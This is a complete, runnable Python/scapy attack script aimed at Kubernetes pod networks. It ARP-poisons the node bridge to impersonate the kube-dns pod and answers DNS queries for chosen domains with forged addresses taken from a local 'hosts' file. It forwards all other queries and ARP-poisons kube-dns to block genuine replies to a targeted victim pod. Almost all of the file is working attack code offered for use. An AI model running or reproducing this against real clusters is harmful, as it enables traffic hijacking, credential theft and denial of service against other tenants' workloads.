#!/usr/bin/env python3
import sys
import os.path
import multiprocessing 
from time import sleep

from scapy.all import *

import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--forward-timeout', required=False, type=float, default=1, metavar="DNS_TIMEOUT", help="time to wait on response from the kube-dns pod when DNS proxying, the smaller the timeout, the faster the DNS proxy.")
parser.add_argument('--direct', required=False, type=str, metavar="POD_IP", help="giving a target pod ip eliminates the arrival of real malformed responses returned from realkube-dns to the given pod, *not required when target's on another node*")
args = parser.parse_args()

FORWARD_TIMEOUT = args.forward_timeout

class NIC(object):
    def __init__(self, ip=None, mac=None):
        self.ip, self.mac = ip, mac

class K8sNetwork(object):
    def __init__(self):
        self.kubedns_svc_ip = self.get_kube_dns_svc_ip() 
        self.kubedns_pod = self.get_kube_dns_pod()
        self.cbr0 = self.get_cbr0()
        self.self = NIC(ARP().psrc, Ether().src)
    
    @staticmethod
    def get_mac(ip):
        ans, unans = arping(ip, verbose=0)
        for s, r in ans:
            return r[Ether].src

    def get_kube_dns_svc_ip(self):
        with open('/etc/resolv.conf', 'r') as f:
            for line in f.readlines():
                if line.startswith("nameserver"):
                    return line.split(' ')[1].strip()
    
    def get_kube_dns_pod(self):
        # getting actuall pod ip of kube-dns service, by comparing the src mac of a dns response and arp scanning.
        kubedns_service_ip = self.get_kube_dns_svc_ip()

        dns_info_res = srp1(Ether() / IP(dst=kubedns_service_ip) / UDP(dport=53) / DNS(rd=1,qd=DNSQR()), verbose=0)
        kubedns_pod_mac = dns_info_res.src 
        self_ip = dns_info_res[IP].dst 

        ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="{}/24".format(self_ip)),timeout=4, verbose=0)

        for a in ans:
            mac = a[1][ARP].hwsrc
            ip = a[1][ARP].psrc
            # ip matches the mac of kube-dns
            if mac == kubedns_pod_mac:
                return NIC(ip, mac)

    def get_cbr0(self):
        res = srp1(Ether() / IP(dst="google.com" , ttl=1) / ICMP(), verbose=0)
        return NIC(res[IP].src, res.src)


class DnsProxy():
    """ Handles DNS request packets, will forward them to real kube-dns, except for targeted domains. """
    def __init__(self, upstream_server, local_server, hosts_path):
        self.hosts = self.parse_hosts_file(hosts_path)
        self.local_server = local_server
        self.upstream_server = upstream_server

    @staticmethod
    def parse_hosts_file(hosts_path):
        hosts = {}
        try:
            with open(hosts_path, 'r') as f:
                lines = [l for l in f.readlines() if len(l) > 1]
            for line in lines:
                domain, ip = line.split(' ')
                hosts[domain.strip().encode()] = ip.strip()
        except Exception as e:
            print("[-] Could not parse hosts file, {}".format(e))
            sys.exit(1)
        return hosts

    @staticmethod
    def generate_response(request, ip=None, nx=None):
        return DNS(id=request[DNS].id,
                    aa=1, # authoritative
                    qr=1, # a response
                    rd=request[DNS].rd, # copy recursion
                    qdcount=request[DNS].qdcount, # copy question count
                    qd=request[DNS].qd, # copy question itself
                    ancount=1 if not nx else 0, # we provide a single answer
                    an=DNSRR(rrname=request[DNS].qd.qname, type='A', ttl=1, rdata=ip) if not nx else None,
                    rcode=0 if not nx else 3
                    )

    def is_local_domain(self, domain):
        for tld in (".local.", ".internal."):
            if domain.decode('ascii').endswith(tld): 
                return True

    def forward(self, req_pkt):
        # first contacting local dns server
        req_domain = req_pkt[DNSQR].qname
        parse_responses = lambda p: ', '.join([str(p[DNSRR][x].rdata) for x in range(p[DNS].ancount)])

        # if local, get response from kube-dns
        if self.is_local_domain(req_domain):
            answer = sr1(IP(dst=self.local_server.ip) / UDP() / 
                        DNS(rd=0, id=req_pkt[DNS].id, qd=DNSQR(qname=req_domain)), 
                        verbose=0, timeout=FORWARD_TIMEOUT)   
            resp_pkt = Ether(src=self.local_server.mac) / IP(dst=req_pkt[IP].src, src=self.local_server.ip) / UDP(sport=53, dport=req_pkt[UDP].sport)/DNS()
            # if timeout, returning NXDOMAIN
            if answer:
                resp_pkt[DNS] = answer[DNS]
            else:
                resp_pkt[DNS] = self.generate_response(req_pkt, nx=True)
            sendp(resp_pkt, verbose=0)
            print("[+] {} <- KUBE-DNS response {} - {}".format(resp_pkt[IP].dst, str(req_domain), parse_responses(resp_pkt) if resp_pkt[DNS].rcode == 0 else resp_pkt[DNS].rcode ))

        # else, get with upstream
        else:
            answer = sr1(IP(dst=self.upstream_server.ip) / UDP() / 
                        DNS(rd=1, qd=DNSQR(qname=req_domain)), 
                        verbose=0)
            resp_pkt = Ether(src=self.local_server.mac) / IP(dst=req_pkt[IP].src, src=self.local_server.ip) / UDP(sport=53, dport=req_pkt[UDP].sport)/DNS()
            resp_pkt[DNS] = answer[DNS]
            resp_pkt[DNS].id = req_pkt[DNS].id
            sendp(resp_pkt, verbose=0)
            print("[+] {} <- UPSTREAM response {} - {}".format(resp_pkt[IP].dst, str(req_domain), parse_responses(resp_pkt) if resp_pkt[DNS].rcode == 0 else resp_pkt[DNS].rcode ))


    def spoof(self, req_pkt):
        # spoofing ip based on hosts dictionary
        spoof_ip = self.hosts.get(req_pkt[DNS].qd.qname, None)
        if spoof_ip:
            spf_resp =  IP(dst=req_pkt[IP].src, src=self.local_server.ip)\
                        /UDP(dport=req_pkt[UDP].sport, sport=53)\
                        / self.generate_response(req_pkt, ip=spoof_ip)

            send(spf_resp, verbose=0, iface=interface)
            print("[+] Spoofed response to: {} | {} is at {}".format(spf_resp[IP].dst, str(req_pkt["DNS Question Record"].qname), spoof_ip))

    def handle_queries(self, req_pkt):
        """ decides whether to spoof or forward the packet """ 
        if self.hosts.get(req_pkt["DNS Question Record"].qname, None):
            self.spoof(req_pkt)
        else:
            self.forward(req_pkt)

    def dns_req_filter(self, pkt):
        return (UDP in pkt and
                DNS in pkt and 
                pkt[DNS].opcode == 0 and 
                pkt[DNS].ancount == 0 and  
                pkt[UDP].dport == 53 and
                pkt[Ether].dst == k8s_net.self.mac and 
                pkt[IP].dst == self.local_server.ip)

    def start(self):
        # sniffing and filtering dns queries sent to self
        sniff(lfilter=self.dns_req_filter, prn=self.handle_queries, iface=interface, store=False)


def arp_spoofing():
    """ Handles interception kube-dns pod and a specific victim"""
    def intercept_dns_requests():
        # spoofing bridge that we are kube-dns pod
        send(ARP(op=2, pdst = k8s_net.cbr0.ip, psrc = k8s_net.kubedns_pod.ip, hwdst = k8s_net.cbr0.mac), iface=interface, verbose=0)

    def block_real_dns_response(to):
        # spoofing kube-dns traffic to not reach victim due to ip_forwarding - DOS
        send(ARP(op=2, pdst = k8s_net.kubedns_pod.ip, psrc = to.ip, hwdst = k8s_net.kubedns_pod.mac, hwsrc="00:00:00:00:00:00"), iface=interface, verbose=0)

    while True:
        intercept_dns_requests()
        block_real_dns_response(to=victim_pod)
        time.sleep(1)

def restore_arp(to):
    # restoring bridge -> dns
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=k8s_net.cbr0.ip, hwsrc=k8s_net.kubedns_pod.mac, psrc=k8s_net.kubedns_pod.ip), count=7, iface=interface, verbose=0)
    # restoring kube-dns -> client
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=k8s_net.kubedns_pod.ip, hwsrc=to.mac, psrc=to.ip), count=7, iface=interface, verbose=0)

def main():
    """ Running Both Attacks On Different Processes """
    dns_proxy = DnsProxy(upstream_server=NIC("8.8.8.8"), local_server=k8s_net.kubedns_pod, hosts_path="./hosts")

    arp_process = multiprocessing.Process(target=arp_spoofing)
    dns_process = multiprocessing.Process(target=dns_proxy.start)

    print("Bridge: ", k8s_net.cbr0.ip, k8s_net.cbr0.mac)
    print("Kube-dns: ", k8s_net.kubedns_pod.ip, k8s_net.kubedns_pod.mac)
    print() 
    
    if k8s_net.cbr0.mac == k8s_net.kubedns_pod.mac:
        print("[-] Cannot take dns requests. Running on different node from kube-dns")
        sys.exit(1)

    print("[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop")
    
    try:
        arp_process.start()
        dns_process.start()
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        arp_process.terminate()
        print("[*] Restoring Pod Network...")
        restore_arp(to=victim_pod)
        dns_process.terminate()
        print("[-] Attack stopped") 
        
if __name__ == '__main__':
    if not os.path.isfile("./hosts"):
        print("[-] Please create a hosts file named \"hosts\" in the current directory and try again")

    victim_pod = NIC()
    # direct attack works best.
    if args.direct:
        print("[*] starting attack on direct mode to pod {}".format(args.direct))
        victim_pod = NIC(args.direct, K8sNetwork.get_mac(args.direct))
    else:
        print("[*] starting attack on indirect mode")

    interface = "eth0"
    k8s_net = K8sNetwork()

    main()